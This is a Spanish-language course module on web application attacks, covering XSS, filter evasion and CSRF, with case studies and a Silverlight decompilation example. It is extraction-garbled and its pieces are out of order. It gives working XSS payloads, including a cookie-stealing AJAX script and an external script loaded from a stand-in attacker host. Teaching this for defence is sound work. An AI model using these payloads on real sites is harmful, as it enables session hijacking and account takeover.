estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web
Zone-H
El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados
El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban
Samy Worm y MySpace
El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm
Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace
El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil
En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
